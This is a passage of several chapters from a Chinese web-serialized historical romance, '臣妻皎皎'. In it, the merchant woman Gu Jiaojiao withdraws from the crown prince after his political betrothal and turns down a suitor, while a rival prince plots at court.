顾皎皎心绪极乱,她迟疑了片刻,稳了稳心神才将一抹淡淡的笑重新挂在嘴角,端着鸽子汤走了进去。 “刚刚炖好,让殿下久等了。” 从进门,顾皎皎就没有看沈云祉,将汤放在桌上时,她手背处的红色印迹,也落入沈云祉眼中。 “这是怎么了?” 沈云祉挑了挑眉毛,目光投向她的手上。 顾皎皎忙抽回手,扯了扯嘴角。 “无妨,不小心烫到了。” “在外偷听?” 沈云祉调侃般的说道,随后挥了挥手,双瑞便出去了,并将房门带上。 顾皎皎略显尴尬,她欠了欠身。 “民女无意偷听,只是正巧来送汤,所以……” 她没有说下去,看着沈云祉神情的变化。 他似是并未介意,眼底的笑意更浓,伸手指了指对面那把椅子。 顾皎皎坐了下来,与男子面对面。 他瘦了许多,那张好看的脸一如从前,但是眼底透着一丝疲惫,不易察觉,他像以前一样,慵懒的倚靠在那里,不似太子,更像世家的纨绔子弟。 “太子殿下欲迎娶赵姑娘?” 问出这个问题后,顾皎皎便后悔了。 说实话,这个问题是埋在心底的,不知为何,看着他,不知不觉便问出了口。 “是啊。” 沈云祉没有否认,只是侧了侧身,抬起眼帘,似笑非笑的看着顾皎皎。 “你觉得不妥?” “太子殿下说笑了,殿下如今身居高位,迎娶何人岂是民女可以随意置喙的?” 顾皎皎忙说道,言语都显得有些慌乱。 “不必惊慌,如今朝堂不稳,皇上昏迷不醒,云南王府在京中势力不足,与首辅府联姻,是眼下最为可靠之路。” 这等大事,沈云祉便如此轻描淡写的说了出来。 皇室大权,自古以来靠联姻稳固也是常事,这份心思大家心照不宣,只是少如沈云祉这般说出来。 “殿下既已决定,想来是最好的选择。” 顾皎皎的心乱极了。 莺儿曾说过,让她收收心,免得伤着自己,当时她只是觉得还很遥远,现下便应验了。 “首辅大人的孙女,自小受万千宠爱,自是任性一些,日后,她若再来,你避着一些。” 沈云祉说这话,是因为就在刚刚,顾皎皎差点吃亏,若不是他在,还不知会发生何事。 可是,在顾皎皎看来,沈云祉已然开始庇护赵蕴苎了。 她看着他,看着他眼中的认真,半晌,轻笑出声。 “殿下说笑了,民女身份低微,如何敢与首辅大人的孙女相抗,何况,赵姑娘日后便是太子妃,民女自当退避三舍。” 她说这话的时候,下巴处还留着赵蕴苎掐她的指印,从侧面看过去那般明显。 只那一刻,沈云祉在顾皎皎的眼中看到了一抹悲伤,他不知道那悲伤从何而来,却让他觉得自己有片刻的慌乱。 为何他会慌? 许是因为她受伤?许是因为知道她已然很是隐忍?也许,也只是因为刚刚发生的事,让他心绪难平。 “关于铺子的事,还是要你费心,待宫中稳定一些,再做其他打算。” 沈云祉转开了话题。 顾皎皎缓缓起身,欠身行了个礼。 “受人之托,忠人之事,民女定尽心竭力。” 她眸子清澈,神色淡然,似只是一刹那,在她的脸上便看不出任何情绪。 沈云祉皱了皱眉,凝视着她,总感觉有些异样,却说不上来。 “殿下若是没有其他吩咐,民女告退。” 她低垂着眼眸,冷静自持,慢慢退出了这个房间。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十一章 与身份尊卑无关 顾皎皎走出门外,双瑞从一边走了过来。 “顾姑娘,这是太子殿下给您备的烫伤药,军中用的,涂抹两次便好。” 双瑞将药递了过来,又自顾自的补了一句。 “殿下对姑娘是极为用心的,军中将士所用,殿下可是从未送过别人。” 顾皎皎低头看了一眼那瓶药,却并未接下,而是冲双瑞笑了笑,轻声开口。 “今日的香囊清新淡雅,味道不错。” 说完这句话后,顾皎皎便转身离开。 双瑞愣了一下,看了看自己腰间佩戴的香囊,又看了看自己手中烫伤药,待他反应过来时,顾皎皎已经没有了踪迹。 双瑞回到房间,将烫伤药放到了桌上。 “顾姑娘没有收。” 沈云祉看着那小小的瓶子,眼底的笑意渐渐散去。 “回宫。” 他起身,离开了第一楼。 顾皎皎此时坐在阁楼的房间里,窗外的雪越下越大,已然覆盖了地面,行人匆匆,肩上头上都落上了洁白的雪,偶有人带着油纸伞经过,从楼上看下去似是在雪地里开出的彩色的花。 她只是看着,思绪早已飘远。 她从未妄想心底的藏匿着的这份感情可以见到天日,可是当事实真的摆在面前时,她也无法不让自己不难过。 莺儿从外面走进来,安静的站在她身边,似是知道她的心事,并未说什么。 时间就这样缓缓流逝,待顾皎皎将窗子关上,转回身的时候,正撞上莺儿心疼的目光。 顾皎皎笑了笑,只是这笑有些为难。 “太子走了?” “是,走了许久了,姑娘,你若是累了,我们便回府吧。” 一向大大咧咧的莺儿,此时说话都显得小心翼翼。 顾皎皎则摇了摇头。 “今日要做盘点,我在这里休息一下就是。” 她坐在桌前,看得出莺儿欲言又止的样子,便又再次开口。 “有什么话便说。” “太子殿下毕竟是储君,如今议亲也是正常,首辅大人的孙女,与之……” “与之般配。” 顾皎皎接下莺儿的话。 她清澈的眸子里已然难得掩饰悲伤,却还强撑着维持着脸上的笑,她拉了拉莺儿的手,轻轻拍了拍。 “我明白你的意思,我没事,其实即使没有赵蕴苎,也会有别人。” 总之,那个人不会是她。 “姑娘……” 莺儿眼圈有些泛红,声音都有些哽咽,在莺儿眼中,顾皎皎是这世间最好的女子,可与人任何人相配,只是奈何,这身份地位以及外界的看法,都是实实在在的事实。 “好了,我真的没事,我休息一下,你去给我备些吃的。” 顾皎皎不想让莺儿太过难过。 莺儿也知她的意思,并未过多停留,只是出门时,还抹了两把眼泪。 顾皎皎整理了自己的情绪,但她发现,她还是需要时间。 夜幕降临。 皇宫。 沈云祉刚回到住所,都还未来得及更衣,云南王便走了进来,甚至双瑞都不曾进来通报。 “父王不会是在我身边安插了眼线吧?” 沈云祉半开着玩笑,也不去换衣服,便走到云南王面前。 “你既出宫,我自会派人打探情况。” 云南王并未否认,转身坐了下来。 沈云祉也不意外,挑了挑眉毛,站在一旁。 “我还查探了顾皎皎,此女子不简单,以一人之力,将生意做遍京城,甚至在他处还有她的生意,不可小视。” 提到顾皎皎,沈云祉一向随意的神色微变,眉头皱起。 “父王,她只是一介弱女子,即使是生意做的大,也到底艰难。” 他是皇室中人,这朝中上下对付女子的手段他再了解不过,所以一再强调着顾皎皎与他并未有太大关系。 可云南王既已出面调查,就不会无功而返。 “若真是艰难,就不该传出那些闲言碎语,你特意出宫不正是为了给她解决麻烦吗?” 云南王的音调都提高了几分。 沈云祉坐下,目光坚毅。 “我自然是要保她,我跟您说过了,她现下帮我打理产业,她若有事,儿臣也会受到牵连。” “那今日呢?为了那女子,与赵家千金争执,也是为了产业?” 沈云祉不禁抿了抿唇,半晌未开口。 他到底还是低估了他的父亲,哪怕是京城这种人手不足的地方,云南王也有办法查探到他的所作所为。 “儿臣只是讲理,与身份尊卑无关。” “讲理?讲理讲到宫外去了?为了讲理,可以不顾自己性命去救一个女子?我不管你动了什么心思,你既然想走帝王这条路,就该知道自己的在做什么。” 云南王深知自己不是帝王之材,所以不管是从前还是现在,他对那个位置都没有兴趣,却也并未想到,他自己的儿子早就为这个位置在筹谋。 听着云南王说这些,沈云祉便知自己回京后的所作所为都未逃开云南王的眼睛。 “父王想多了,我知道自己的处境,也知后面的路并不好走。” 沈云祉未再解释。 云南王也是点到为止,缓缓站起身。 “你心中有数便好,想来今日之事,赵家小姐也不会说与首辅,日后你便更要谨慎。” 云南王不知道的是,赵蕴苎不会说,不是因为她善解人意,而是因为她的把柄握在沈云祉手上。 云南王离开了。 沈云祉长长的吁出一口气,却也只是觉得云南王的担心有些多余,便起身去更衣。 关于顾皎皎,他也只是觉得他颇为欣赏而已。 这一夜,顾皎皎彻夜未眠。 翌日。 莺儿端着清水进门准备给她梳洗,但在看到她眼圈下的乌青时,不禁吓了一跳。 “姑娘,可是有哪里不舒服?要不要请郎中?” 听着莺儿的惊呼声,顾皎皎才在镜中看到了自己的模样。 现下这个样子出门,若是再配上白衣,怕是会吓到人的。 “没事,昨夜浅眠,多敷些脂粉就看不到了。” 顾皎皎倒是想的开。 很多人都说,顾皎皎长的极美,她的这张脸足以迷倒万千男子,可是她自己却从未在意过。 莺儿轻叹了口气,想来这份伤心还要持续一段时日。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十二章 我可以等 顾皎皎刚梳洗完,门房的小厮便来汇报,说是有一位姓杜的公子在府外求见。 杜玉荣。 这段时日,杜玉荣几乎日日都会见顾皎皎,有时是第一楼,有时是霓裳阁,这大早上上门倒还是第一次。 “姑娘,我去请杜大人进来?” 莺儿脸上写满期待,她想着,也许有杜玉荣陪她家姑娘说说话,她家姑娘就不用这般难过了。 “不必请他进来。” 顾皎皎站起身,手中抱着一个手炉,继续说道。 “我去见他。” 莺儿立即拿起一件斗蓬披在顾皎皎的肩膀,陪同她一起出门。 雪停了,空气里的寒气似是更浓了些,只一出门,顾皎皎便握紧了手炉,紧了紧身上了的淡红色的斗蓬。 大门打开,在杜玉荣期待的目光中,顾皎皎踏出府门。 杜玉荣怔了一下,但随即也明白,顾皎皎不准备请他入府。 “让杜大人久等了,不知杜大人过来,是有何事?” 顾皎皎欠身行礼,又是那副平淡却疏离的模样。 杜玉荣看着她。 淡红色的斗蓬,粉色衣裙,好看的脸上挂着精致的妆容,美的动人心魄,只是这份态度,让人觉得冰冷至极。 “昨日,赵蕴苎去第一楼的事我听说了,你没事吧?” 杜玉荣确实听到了一些,但对于沈云祉在第一楼之事,他并不知晓,他深知赵蕴苎的脾性,担心顾皎皎受到什么伤害,所以才一大早就跑了过来。 只是,顾皎皎却并未表现出任何委屈或者是难过。 “劳杜大人记挂,我一切都好。” 她微低着头,浅笑盈盈,与周围的白色混在一起,犹如一幅美丽的画卷。 “顾姑娘,抱歉。” 杜玉荣又何尝不知道,赵蕴苎上门是因为自己。 此时,顾皎皎才缓缓抬起头,迎向杜玉荣的目光。 “大人既说到此处,我便也斗胆说两句,我乃商户之女,身份低微,大人屡次相助,我也心怀感激,只是我确实无力与首辅府抗衡,望大人怜惜,日后莫要来了。” 她说的平静,每一个字,每一句话都显示着她的坚决,而这些,也是杜玉荣最不愿听到的。 “你若是因为身份之缘故,我此刻便可回府,让母亲上门提亲,绝不会让你受半分委屈。” 杜玉荣这样的承诺,让顾皎皎心里一慌。 “杜大人误会了,我并非此意,我无意再嫁人为妻,更不会以这残躯而误了大人。” 顾皎皎想着,在此次说清楚也好,也不等杜玉荣说什么,便又接着说了下去。 “大人年少有为,前途无量,实在无需在我身上浪费时间,我知大人是君子,但我不愿,还望大人高抬贵手。” 杜玉荣放在身前的手紧握,听着顾皎皎所说的每个字,都让他觉得心脏处是疼痛的。 “我可以等。” 这四个字,杜玉荣说的毫不犹豫。 “杜大人……” “姑娘受伤,难免自苦,一时间不愿信我也是情理之中,但我相信水滴石穿,此时姑娘不愿,我等等也无妨,只是之前说过,我会明媒正娶姑娘,并非只是帮你解围,而是出自真心。” 有那么一刻,顾皎皎心生动容。 她自小到大,除了父母似也没有人这般坚定的将她放在心上。 她也曾嫁入安阳候府,两年里,她谨守本分,也只是想求一个夫妻同心,举案齐眉罢了,可最终换来的不过是一重又一重的伤害。 她不再感情,更不信依靠,而现在杜玉荣跟她说这些时,那双漆黑的眸子里不含一丝杂质。 如若,说这话的是沈云祉…… 顾皎皎心里一惊,因为自己的这个想法,也因为脑海里的那个人。 “杜大人,谢谢你的好意,大人人品贵重,家世不凡,日后定有门当户对的女子与大人相配,我无此心,只将大人当恩人。” 顾皎皎低垂下眼眸,看着自己的脚尖,不去看杜玉荣的神情,而后又微微欠身。 “雪后寒冷,大人请回吧。” 说完,她便转身回府。 大门缓缓关上,可她还是听到了杜玉荣在门外的声音。 “我不会放手,我等你。” 杜玉荣出自书香世家,规矩极严,如此在一个女子门外高声大喊,他也是第一次,可他不怕,不悔。 杜玉荣离开顾府后,便去了首辅府。 他是首辅大人的得意门生,今日也是提前收到了首辅的相邀,才过府一叙。 说起来,与首辅大人一起,都是讨论朝政之事,近来朝政不稳,皇上未醒,太子未得旨意临朝,朝中大臣也是越来越慌。 首辅大人询问杜玉荣的意见,杜玉荣只给出四个字。 “顺其自然?” 首辅大人重复着,先是疑惑,最后大笑出声。 “你说的没错,顺其自然是最好的处置方式,越是这个时候,越要稳,这些大臣大多为官多年,越是看不到什么变动,他们也越会老实,收敛锋芒,玉荣啊,还是你看的透彻。” 杜玉荣之所以能得首辅大人青睐,也自是因为他有过人之处。 “老师过奖了,学生自入仕以来,皆由老师教导,如今能得心重用,也都是老师的功劳。” 杜玉荣态度谦和,他并非是在讨好首辅,而是说的是事实。 “杜家向来是文官清流,你家世在此,自也差不了。” 首辅亲自提拔的人,他自是喜欢的,如若不是有立太子之事,他也考虑过杜玉荣或与赵蕴苎是良配。 只是,人往高处走,水往低处流,杜家家世再清白,杜玉荣再优秀,也终究不及太子之位高贵,那一国之母的位置,也只有沈云祉能给。 自然了,现在这门亲事还不足以说与外人听。 说完正事,首辅大人本欲留下杜玉荣用午膳,但被杜玉荣婉拒了。 杜玉荣离开书房向大门处走去,在经过园子时,却遇到了在小路上来回踱步的赵蕴苎。 她在路上踏着雪,不像是路过,更像是等在这里,抬头看到不远处的来人,这位赵千金喜笑颜开。 她听闻杜玉荣来到府里,精心打扮了一番才在这条必经之路上等了许久,只是,杜玉荣异常冷漠。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十三章 又与你何干 初雪过后的空气都显得极为清新。 赵蕴苎站小路上,细腻的脸蛋上泛着微红,分不清是因为寒冷,还是因为胭脂,她两只手握在一起,掌心里似是拿着什么,看不清。 “赵小姐。” 杜玉荣在与她有些距离时停下脚步,抱拳行礼,疏离有礼。 赵蕴苎每每见到他都是这般模样,她倒是也习以为常。 “荣哥哥怎的走的这样匆忙,我前几日新请了厨娘,荣哥哥留下用个午膳吧。” 此时的赵蕴苎温柔可人,脸上挂着的笑都极为甜美。 杜玉荣神色未变。 “多谢赵小姐好意,在下还有事。” “荣哥哥,你许久不来府里,我诗书上有不解之处,不知可否请荣哥哥帮忙讲解?” 以前就是这样的,赵蕴苎想与杜玉荣多接触一些,便会以请教诗书为由,杜玉荣也从未拒绝过。 但这次不同。 杜玉荣身姿挺拔的站在原地,也将坚毅的目光投向赵蕴苎,而后声音冷淡的开口。 “姑娘乃是大家闺秀,在下是外男,私下接触,姑娘不怕辱了名声吗?” 风声在耳边拂过,赵蕴苎觉得自己听错了。 她微张着嘴,不可思议的看着杜玉荣,他们相识多年,他从未如此说过话。 “荣哥哥,为何这样说?我们从小一起长大,如何能说的上如此重的话?” 赵蕴苎眼中带着委屈,声音也越来越小,会给人楚楚可怜的感觉。 杜玉荣无动于衷。 “赵姑娘怕是误会了,在下与姑娘并无深交,也谈不到从小一起长大这样的话,且姑娘教训别人时也说过,女子重德重行,想来姑娘也会以身作则,不会落人话柄。” 杜玉荣并不是苛责之人,只是性子冷淡,少说多做,而今日他却对一个姑娘说出此番话来,与他平时判若两人。 听到此处,赵蕴苎也算是明白杜玉荣的意思,他是在为顾皎皎鸣不平呢。 “是顾皎皎跟你告状了是吗?我确实是找过她,但我并没有说错,她就是有意勾引,先是太子,后又是你,我……” “赵姑娘自重,她是否狐媚勾引,与你无关,退一万步讲,就算她心机深沉,我心甘情愿,又与你何干?” “她只是一介商女,又曾为人妻,荣哥哥怎会拿她与我相比。” “没错,她出身不高,但赵姑娘细想,若不是你有着首辅大人孙女的身份,你又如何能与她相提并论?” 杜玉荣终究是生气的,听到那些传言,他便可猜到顾皎皎受何等委屈,说到底,他也是自责的,自责没有在她身边,护着她。 “还有,顾姑娘从未在我面前说过你一句不是,我倒是在你这里听了她不少闲言,只这份人品,赵姑娘便落了下风,如今满城风雨,也都是拜赵姑娘所赐,告辞。” 杜玉荣大步离开,对于站在原地浑身发抖的赵蕴苎,他选择视而不见。 赵蕴苎回过神,便欲追去,却被思荣拉住。 “姑娘三思,您忘了首辅大人的交代了?” 赵蕴苎停下脚步,她如今亲事已定,与杜玉荣再无可能,只是,他是她喜欢了多年的人,怎可说放下就放下。 赵蕴苎忍不住落泪,思荣怕府里的人看见,拉着她便回了自己的院子。 “他怎能如此待我?怎能如此?” 赵蕴苎伏在床榻之上,再也掩饰不住自己的哭声,泪水浸湿枕头,却依旧让她无法平复。 思荣守在她身边,在一旁轻声安慰着。 “姑娘一片诚心,可感天地,只是与杜大人有缘无分,姑娘如此会伤了身子,若是被首辅大人知道,更是不好。” 赵蕴苎还是控制了一下情绪,也依旧无法抑制心底的悲痛。 “我只想要荣哥哥一人。” “姑娘想开些,姑娘嫁与太子便是太子妃,会是未来的皇后,一国之母,何等尊贵,怕是这天下所有女子的梦想呢。” 思荣也想不出其他的话来安慰她了,好歹这也算是一件好事。 “什么太子,什么皇后,我都不在乎,若是可以,我宁愿为了荣哥哥终身不嫁。” “姑娘莫要说胡话,姑娘不为自身考虑,也不顾首辅府了吗?若真是那样,整个赵家都会与之陪葬的。” 思荣说的是事实。 赵蕴苎红肿着眼睛,也正是因为她知道没有退路,才更加无可奈何,也更绝望。 她的哭声没有停止,思荣劝不了,只好去门外吩咐着,以防被首辅大人知道此事。 京城之中流言未断,但时间久了,便也没有人真的当回事了。 顾皎皎一连几日都没有出府。 这期间杜玉荣也来过,但她都以身体不适为由并未见面。 双剑也来过,转交由沈云祉送出宫的一些药物,为不显的过于失礼,顾皎皎便让莺儿出去应付。 “听闻顾姑娘身体不适,这是太子殿下命太医开的药,特命我送来。” 双剑一向不苟言笑,只将东西递了过来。 莺儿并未接,而是欠身行了个礼。 “多谢太子殿下,只是我家姑娘体质特殊,一般的药不敢给她擅用,怕是会辜负殿下的好意。” 她未接,双剑也未收回手。 “姑娘不妨替顾姑娘接下,我也好回去交差。” 双剑是个聪明的,已然猜出了什么,毕竟敢不接太子礼的,怕也只有顾皎皎了。 “并非奴婢不识抬举,实在是姑娘交代过,无功不受禄,不敢接下。” 莺儿微低着头,这番话说出来,便知是顾皎皎教她的。 双剑也只好收回手。 “如此,我便只能这般回复殿下了。” “有劳了。” 莺儿又欠了欠身,转身走回府里。 双剑不禁愣了一下,他想着以太子之名,这丫头可能会顾及一些,却不想走的这样干脆。 双剑将药带回,又将实情传递入宫。 很快,沈云祉便得到了消息。 “又没收?” 沈云祉挑眉,语气里满是不敢相信。 “是,双剑是这样说的,甚至双剑都没有见到顾姑娘,只是她身边的侍女回的话。” 双瑞答道。 人未见,东西未收,可是出了什么事? 沈云祉这般想着。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十四章 惹怒了就杀了 沈云祉已经派人送出去很多东西,宫里的,自然是好的,但无论是吃还是用的,都被顾皎皎原封不动的退了回来。 哦不,确切的说,顾皎皎碰也没有碰。 “这个顾皎皎,胆子越来越大了。” 沈云祉感觉到了顾皎皎态度的变化,却不知是为何,难不成是因为那些传言? 可之前的谣言也没有断过,她也不曾放在心上。 “双剑还说,杜大人去过顾府,但顾姑娘也未见。” 双瑞只是传达消息,相比朝政之事,这些杂事上他倒是更得心应手一些。 “罢了,不必管她,皇上身体好转,药方要换,近几日你随我出宫,去见洪甫先生。” 沈云祉将手中的一本书放下,抬手揉了揉眉心,眼底显露出五丝疲惫。 “是,属下这便去安排。” 双瑞应下,转身走了出去。 沈云祉看着桌上的那本书,所在的页上写着这样一段话:屈心而抑志兮,忍尤而攘诟。 京城之中,有无数双眼睛盯着沈云祉,毕竟身为太子,一举一动皆是受人瞩目。 平王府。 “太子又出宫了?” 平王抬起头,看着李嬷嬷,眼底满是疑惑。 “是,我们的人原是跟着的,但似是被太子发现了,很快我们的人就被甩掉了。” 李嬷嬷汇报着。 “废物。” 平王咬着牙,无不恶狠狠的说道,随后便又疑惑开口。 “沈云祉近来出宫频繁,若说是为了皇上,不大可能,他会不会在暗中谋划什么?” 平王更像是在自言自语。 李嬷嬷微低着头,她猜不出,自也不敢乱说。 “我们近来行事不顺,设下的局都被沈云祉一一化解,朝堂之上,首辅已有偏向沈云祉之意,朝臣随风倒,倒是让沈云祉占尽了风头。” 平王双手背在身后,也紧紧的握成拳头,那份不甘毫不掩饰的出现在他的脸上。 “王爷说的是,沈云祉回京城不久,大多势力都在军中,在京城之中用不到,可也正因为这样,我们反倒抓不住他什么把柄。” 李嬷嬷说道。 自沈云祉被立为太子,平王一直命手下查找有关沈云祉的人和事,这许多日子,倒是查到了不少,可能用的却一个没有。 “此事,还得查一下,对了,孙协兆最近在做什么?” 平王想到这个人,自然是因为还有用。 “回王爷,孙三公子近来少出门,太子赏的处罚已经完成,但也会被人嘲笑,便只躲着了。” 李嬷嬷答道。 不只是孙协兆,就连徐青青这些时日都少出门,每日还要去孙老夫人那里请安,这安阳候府,倒是难得的消停了这阵子。 “让他来见我。” 平王召见,孙协兆自是会马不停蹄的赶来,他等了这么久,想来应该是柳暗花明了。 为了见平王,孙协兆还特意做了套新衣衫。 平王难得的未在正厅见他,而是定在了书房。 平王的书房,里面放着的自然都是要事,孙协兆能进来,就感觉自己颇受重视。 “小婿见过岳……” 孙协兆礼未成,就被平王伸手制止,冷眼过来,他便知道自己该说什么。 “见过王爷。” 孙协兆又重新改了口。 平王抬眼,示意他坐下。 “本王记得,你曾经跟随太子殿下,也曾出入沙场,也为他出谋划策?” 此话一出,刚欲坐下了的孙协兆又立即站了起来,抱拳躬身,一脸慌乱。 “王爷明鉴,当时是年轻不懂事,想着找个靠山,但自遇到王爷,又与青青两情相悦,我对王爷便是忠心耿耿,绝无二心。” 孙协兆是怕的,他是亲眼见识过平王的狠辣的,哪怕他分不清现在平王的意思,但表忠心终究是没错的。 平王在此时扬了扬嘴,低沉着声音开口。 “你莫慌,本王并不是怀疑你,只是有些事需要你帮忙。” 平王用了‘帮忙’二字,态度也和缓不少。 孙协兆心里的大石头放下,也立即给出回应。 “有任何事王爷吩咐就是,我定上刀山下火海。” “哈哈,倒也不必,只是太子如今在宫中,偶有出宫,却也不知所为何事,他有个侍卫留在宫外,对外说是为了照顾稳定军心,你既与太子之前有来往,想来与那侍卫也是熟识的。” 平王的话,说一半藏一样,只看孙协兆自己的领悟。 孙协兆是个蠢的,但是在这些耍手段,尔虞我诈上,倒是有一些天赋,平王稍稍点拨,他便已然明白其中深意。 “是,小婿也是许久未见双剑了,是该去问候,之前得了两幅上好的字画,也可由他转交给太子殿下,以表心意。” 孙协兆说的冠冕堂皇。 平王的高兴直接挂在脸上。 “好,你是个能办事的,本王也想着,待皇上醒了,本王便亲自进宫为你谋得一官半职,日后说出去,也不至于委屈了青青。” 平王这话正说到了孙协兆的心坎上,也正是他一直等待的。 “多谢王爷,其实宫中职位小婿并不在意,只要能帮到王爷,才不辜负王爷对我的信任,至于青青,还请王爷放心。” 都是一些客套话。 平王也并不放在心上。 “如此便好,你去吧,若有什么消息立即来报。” “是。” 孙协兆进入平王府时,小心谨慎,而离开时抬头挺胸,好不得意。 看着此人离开,李嬷嬷才从外面走了进来。 “王爷信他?” 李嬷嬷将一碗参汤放在平王的面前,似是有些疑惑的询问。 “信他?他若是能成事,那便真是本王手下无人了。” 平王端起参汤,浅尝,眼底的不屑那般明显。 “那王爷这是……” “让孙协兆去吸引沈云祉的注意力,我们才能更好的行事。” “可若是孙协兆惹怒了太子……” “惹怒了就杀了,与我们何干?” 平王的眼中闪过一抹狠戾,一条人命,于他而言如猪狗无异。 李嬷嬷笑了笑,也彻底明白了平王的用意。 “王爷英明。” 平王不是英明,而是出身于皇室,争权夺利,把弄人心,是他最基本的本事。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十五章 亲自赔罪 沈云祉来到了第一楼。 他在这间雅间里等了许久,却依旧未见顾皎皎的身影,他的耐心渐渐褪去,让双瑞叫来了莺儿。 莺儿站在桌前,看着桌上的菜几乎未动,却早已凉透,她想到顾皎皎曾经说过,沈云祉不爱吃饭。 “你家姑娘为何还不回来?” 沈云祉开口时,眼底已经袭上不耐,与他平时掌控一切的模样形成鲜明的对比。 “殿下,奴婢在您来之时就说过了,姑娘去各个铺子查账了,何时能回奴婢真的不知。” 莺儿眨巴着水汪汪的大眼睛,说的一脸认真。 只是这样的话,沈云祉已然不信了。 “上一次本宫来,她去巡视铺次,再前一次,她去郊外看库房,现下又查账,你们姑娘是故意的吧?” 他并非询问,而是已经确定子。 自从上一次沈云祉与顾皎皎在第一楼提及到婚事后,沈云祉便再也没有见过顾皎皎,他每次出宫必来第一楼,一个时辰等过,大半日也等过,可是那个女子再也没有出现。 而让人意外的是,明明是身为顾皎皎的贴身侍女的莺儿,却每次都能来回沈云祉的话。 “殿下说笑了,殿下身份贵重,姑娘若是在怎敢不来拜见?只是自入了皇商,姑娘确实忙得很,待姑娘回来,奴婢定会转达姑娘,待有机会姑娘也会亲自赔罪的。” 莺儿自然不能承认,只是她这番说辞几乎每次都是一样的,沈云祉都快背下来了。 “亲自赔罪?本宫怕她连赔罪的机会都没有了。” 沈云祉愤然起身,高大挺拔的身躯甚至让莺儿都不自觉的后退了两步。 他未再说话,大步离开,那张好看的脸因为冰冷而让人望而却步。 “你家姑娘到底怎么回事?太子殿下出宫不易,每次都会来找顾姑娘,她倒好,连面都不露。” 双瑞看不过去了,小声的在后面向莺儿抱怨。 莺儿却是满不在乎的模样。 “太子殿下忙,我们姑娘也忙,总不能不管生意,日日陪着殿下吧?” “你这是什么话?” “实话,再说了,太子殿下已是议亲之人,与我们姑娘接触多了,殿下倒是没什么,毁的可是我们姑娘的名声。” 莺儿说的理直气壮,让双瑞半天都没能再说一个字。 “你家殿下都走远了,还不跟上?” 莺儿挑眉,看着双瑞气鼓鼓的离开,她才耸了耸鼻子,一脸得意的模样。 随后,莺儿去了楼上的阁楼。 顾皎皎正在摆弄着几枝白梅。 这梅花是今晨在路上采的,已经冬季,百花杀尽,唯有寒梅待放,只是时节不对,这几枝白梅还只是含苞待放,未真正盛开。 她未出去,只在第一楼里,不只是这次,沈云祉来的每一次,她都未离开第一楼半步。 “姑娘,太子殿下走了。” 莺儿站在一旁,低声汇报。 顾皎皎点了点头,却并未说话,剪着那些花枝,倒让人觉得如画一般。 “姑娘,你日日躲着,会不会惹怒太子殿下?” 莺儿还是小声的询问着。 “其实已经惹怒了,不是吗?” 顾皎皎抬了抬眼,轻描淡写的说道。 莺儿未说话,算是默认。 这也不难猜,沈云祉何等聪明之人,一次两次,接连三次,他都没有见到人,怎会不生疑?又怎会猜不到顾皎皎的态度? “无妨,我与他之间有利益,即使是怒了,也不会杀了我,不过就是日后不来了而已。” 一朵花枝掉落,枝上还带着小小的花骨朵,花骨朵太小了,所以被放弃了。 顾皎皎神色淡然,说的如此轻巧,在表面上看不出什么,可是莺儿却知道,她家姑娘心里苦。 “姑娘何苦这般为难自己?若是难过,留在府里就好了,何必来第一楼呢?” 听到此话,顾皎皎的手顿了顿,而后才将最后一枝白梅插入瓶中。 她为何会来第一楼,因为可以见到沈云祉。 她从未有过奢望,也可以接受那些现实,甚至可以避着他不让他见到自己,慢慢忘却,却还是忍不住来偷偷看他。 沈云祉依旧如从前一般意气风发,傲气与贵气并存,那副洒脱不羁,玩世不恭,与他的身份并不匹配。 他就是这样的人,让人摸不透他到底在想什么。 “近来都在忙着霓裳阁的事,有空就盯一下第一楼吧,免得出什么岔子。” 她随意找了一个借口。 莺儿也并未说什么,而后又突然想起什么似的说道。 “对了姑娘,王吉送回消息,孙协兆被平王召去了平王府,离开时,满心喜悦,一扫之前阴霾。” 孙协兆,是个不折不扣的小人,但凡是有点好事便藏不住。 “大抵是平王给他许诺了什么吧。” 顾皎皎随口说着。 “王吉也这样说,本也没什么重要的事,但没多久,孙协兆便去了驿站,还带了很多吃的东西,像是送礼一般。” 驿站? 顾皎皎猛然抬头。 京城驿站停留的大多是官员,而近来京城之中并未听说有外官回京,而现在驿站里一直住着的,便是…… “双剑?孙协兆去找双剑?” 顾皎皎眉头微皱,说出自己的猜测。 莺儿歪了歪头。 “他带着礼物过去,可是双剑是太子殿下身边得力之人,那孙协兆总不会是去收买双剑吧?” 莺儿惊呼出声,又想着孙协兆是没有这样的脑子的,想出这个办法的,大抵是平王。 “他不是去收买,而是去送死。” 顾皎皎毫不犹豫的说道。 莺儿不懂,但顾皎皎说是,那便是。 顾皎皎看着瓶中的梅花,微微扬了扬嘴角。 “待过些时日,我们院里的红梅也开了,再剪几枝放在这里。” 她眼中的笑意透着温柔,白净的脸上没有多余的表情,平静美好。 她在试着让自己的生活回归平常,经商多年,喜怒不形于色,也是她的本事。 与此同时,孙协兆与双剑见面的事,也被递到了沈云祉那里。 沈云祉是见过蠢的,却不曾见过如孙协兆这般蠢的,让人汗颜。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十六章 是我心甘情愿 “双剑说,那孙协兆希望找机会向殿下道歉,还给双剑带了许多贵重的东西,双剑倒是没有客气,都收下了。” 双瑞简单的汇报着,听传信进来的人说,孙协兆跟双剑说这些的时候,就差跪下了。 沈云祉低垂着眼眸,唇边的不屑很是明显。 “让双剑跟他接触着,看看他的目的。” “殿下不认为他是想投靠您?” “孙协兆只是被平王推出来的棋子,怎会真的投靠?他只是想接近,至于要查探些什么就不得而知了。” 沈云祉并不将孙协兆放在眼里,所以才会让双剑跟他接触,就算最后查不到什么,也无关紧要。 现在能让他不满的只有顾皎皎。 “让双剑派人查查,顾皎皎那里最近是不是遇到了什么问题?” 他突然开口,提到顾皎皎,连双瑞都不禁愣了一下。 这变的也太快了些。 “是,只是,双剑一直都有关注顾姑娘的,如果她那边有什么事,双剑早就汇报了,他……” 双瑞的话还没有说完,就迎来沈云祉冰冷的目光。 “殿下说的是,属下这便去通知双剑,定是那双剑遗漏了什么。” 双瑞逃也似的跑了出去。 沈云祉何尝不知道双瑞说的是事实,只是近来顾皎皎的态度,着实让他有些接受不了,他总要弄清楚才是。 顾皎皎这段时日过的并不好。 